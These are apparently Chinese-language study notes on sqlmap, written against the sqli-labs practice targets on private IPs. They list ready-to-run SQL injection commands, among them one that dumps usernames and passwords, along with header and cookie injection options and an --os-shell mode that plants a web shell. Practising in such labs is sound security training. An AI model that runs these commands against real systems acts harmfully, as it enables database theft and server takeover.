基本語法
基本步驟
- u URL
- --users
- --banner
- --dbs 列出當(dāng)前數(shù)據(jù)庫中的所有數(shù)據(jù)庫
- --tables 列出所有表
- --columns 列出所有列
- --dump 獲取數(shù)據(jù)
sqlmap -u "http://192.168.10.240/Less-1/?id=1" -D security -T users -C username,password --dump
高級用法
#POST
-r request.txt
-u "" --data ""
--flush-session 不使用上次跑過相同網(wǎng)站的緩存文件 重新開始
--random-agent 隨機(jī)選取user-agent頭部去發(fā)送
-v 顯示sqlmap跑的信息 比如 -v3 顯示發(fā)送的payload
--level 去根據(jù)不同的注入點(diǎn)的位置 例如 cookie位置 例如user-agent位置來進(jìn)行測試
--risk 發(fā)送更多的攻擊代碼
--delay 延遲發(fā)送
--force-ssl 如果目標(biāo)是https的網(wǎng)站 加上此參數(shù)
--os-shell 原理 就是利用mysql寫文件的方式 給服務(wù)器上寫一個(gè)sqlmap版本的馬文件 并直接進(jìn)行連接操作
--sql-shell 相當(dāng)于直接連接到數(shù)據(jù)庫下 執(zhí)行sql語句在本地
--refere 進(jìn)行referer的偽造 若要對referer參數(shù)進(jìn)行注入 --level 值大于等于三
--cookie 跑登錄之后的鏈接地址 使用
設(shè)置分隔符
--param-del=";"
請求頭注入的語法
- 在指定的header字段后加*
設(shè)置cookie
- --cookie
- --cookie-del 分隔符
- --load-cookies 讀取特定Netscape/wget文件
- --drop-set-cookie 忽略set-cookie
- level 2以上
- less 20
sqlmap -r less20 --level 2 -p uname --dbs
level
- level3檢查UA歼捐、referer
- level2檢查cookie
risk
前綴后綴
- --prefix
- --suffix
sqlmap -u 'http://192.168.1.101/Less-3/?id=1' --prefix="')" --suffix="AND ('abc'='abc" --dbs --flush-session
性能優(yōu)化
- --threads
- --keep-alive
- --technique:
B:布爾盲注
E:報(bào)錯(cuò)
U:聯(lián)合
S:堆疊
T:時(shí)間
Q:內(nèi)聯(lián)查詢